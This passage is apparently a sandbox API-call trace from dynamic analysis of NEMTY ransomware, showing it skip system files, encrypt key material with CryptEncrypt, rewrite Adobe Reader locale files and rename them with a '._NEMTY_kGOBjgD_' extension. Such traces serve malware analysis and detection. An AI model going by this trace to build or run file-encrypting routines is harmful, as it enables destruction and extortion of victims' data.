hHeap=0x4f90000) returned 1 [0185.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.401] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.UKR", cAlternateFileName="")) returned 1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2=".") returned 1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="..") returned 1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="...") returned 1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="windows") returned -1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="rsa") returned -1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="NTDETECT.COM") returned -1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="ntldr") returned -1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="MSDOS.SYS") returned -1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="IO.SYS") returned -1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="boot.ini") returned 1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="boot.ini") returned 1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="ntuser.dat") returned -1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="desktop.ini") returned 1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="CONFIG.SYS") returned 1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="RECYCLER") returned -1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.401] lstrcmpiW (lpString1="DVA.UKR", lpString2="bootmgr") returned 1 [0185.402] lstrcmpiW (lpString1="DVA.UKR", lpString2="programdata") returned -1 [0185.402] lstrcmpiW (lpString1="DVA.UKR", lpString2="appdata") returned 1 [0185.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.UKR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0185.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.UKR", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.UKR", lpUsedDefaultChar=0x0) returned 7 [0185.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.UKR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0185.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.UKR", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.UKR", lpUsedDefaultChar=0x0) returned 7 [0185.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.UKR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0185.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.UKR", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.UKR", lpUsedDefaultChar=0x0) returned 7 [0185.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.UKR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0185.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.UKR", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.UKR", lpUsedDefaultChar=0x0) returned 7 [0185.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.402] Sleep (dwMilliseconds=0x5) [0185.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2227fa90, dwHighDateTime=0x1d561e8)) [0185.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2227fa90, dwHighDateTime=0x1d561e8)) [0185.405] GetLastError () returned 0x0 [0185.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.405] GetLastError () returned 0x0 [0185.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.405] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.405] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.405] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.405] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="UVYOBapXIKk+gZDcRrfGVwlvDstw6eDUvDATRZKdC0ZG1nbrjL8xAa4cT4Juu5x+\r\nDxbeZ1ZI49+AF996AWhZL8LOousMo/RPzZeZmGADfJitLm+AVTaYy2VyQqtzsz6j\r\nJaDNC2iAQxYzU5P7Q9amHqBk8D6sIFE+2DkhMNeN1Gk3P70cqA3REr9NPFlTA3e7\r\nXTlQNRxRTq1/4qD/gHqqgSS3xvfUOi1xVwop7k3x5kLWh9kZy17k30NK361rjYsZ\r\n+HojlUqoU4JaZIuYUrmApQ8nHs5e8wa8t5YmYCAr8ZatzgCexyjT4NPF34aDoiLM\r\n1SGPlx7kzdgYfHLktXVANQ==\r\n", pcchString=0x653e5dc) returned 1 [0185.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DVA.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\dva.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.407] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18432) returned 1 [0185.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4800) returned 0x6352c48 [0185.407] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.407] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4800, lpOverlapped=0x0) returned 1 [0185.409] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.409] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4800, lpOverlapped=0x0) returned 1 [0185.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.409] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4800 [0185.409] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.410] CloseHandle (hObject=0x2e8) returned 1 [0185.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0185.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0185.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0185.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.410] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DVA.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\dva.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DVA.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\dva.ukr._nemty_kgobjgd_")) returned 1 [0185.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0185.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.411] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.UKR", cAlternateFileName="")) returned 1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2=".") returned 1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="..") returned 1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="...") returned 1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="windows") returned -1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="rsa") returned -1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="NTDETECT.COM") returned -1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="ntldr") returned -1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="MSDOS.SYS") returned -1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="IO.SYS") returned -1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="boot.ini") returned 1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="boot.ini") returned 1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="ntuser.dat") returned -1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="desktop.ini") returned 1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="CONFIG.SYS") returned 1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="RECYCLER") returned -1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="bootmgr") returned 1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="programdata") returned -1 [0185.411] lstrcmpiW (lpString1="eBook.UKR", lpString2="appdata") returned 1 [0185.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.UKR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.UKR", lpUsedDefaultChar=0x0) returned 9 [0185.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.UKR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.UKR", lpUsedDefaultChar=0x0) returned 9 [0185.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.UKR", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.UKR", lpUsedDefaultChar=0x0) returned 9 [0185.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.UKR", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.UKR", lpUsedDefaultChar=0x0) returned 9 [0185.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.412] Sleep (dwMilliseconds=0x5) [0185.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x222a5bf0, dwHighDateTime=0x1d561e8)) [0185.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x222a5bf0, dwHighDateTime=0x1d561e8)) [0185.419] GetLastError () returned 0x0 [0185.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.420] GetLastError () returned 0x0 [0185.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.420] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.420] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.420] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.420] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="yfd8RY6YNFjcEZv6KpX2Y+KyrweoNGENqtMqlHV/FWhj4/uVwdBF9QazgCxuwaR5\r\n1ybpO9kMwMGrr86Z+nPkplxsYs4kfe6UJvwLrfXInrOvLKOlZqq+jsG3pY7cT+tg\r\ncOnltQ2Is9F2N48QJ6j/FkZdrTK/glH8PP9BHaBLjchmIC6CQzNu8j71do42SBWb\r\ny9J3k/vnzbyRoqymHuFF1dSl+NTkIua/YVSYdRH/9Gu4NFLLGYnfQFYT7gfItCtc\r\nBqbyzIHgaZHubyARfmYl4YXih6ux5fo9Z3GogYWbWRL9NBoRhv4P1fI72kXlqF31\r\nLNMqrJcbCx+WzxpFn1jjTw==\r\n", pcchString=0x653e5dc) returned 1 [0185.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.420] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\eBook.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ebook.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.421] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0185.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0185.421] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.421] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0185.423] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.423] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0185.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.423] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0185.423] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.423] CloseHandle (hObject=0x2e8) returned 1 [0185.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0185.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0185.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0185.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.423] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\eBook.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ebook.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\eBook.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ebook.ukr._nemty_kgobjgd_")) returned 1 [0185.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0185.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.424] HeapFree (in: hHeap=0x4f90000, 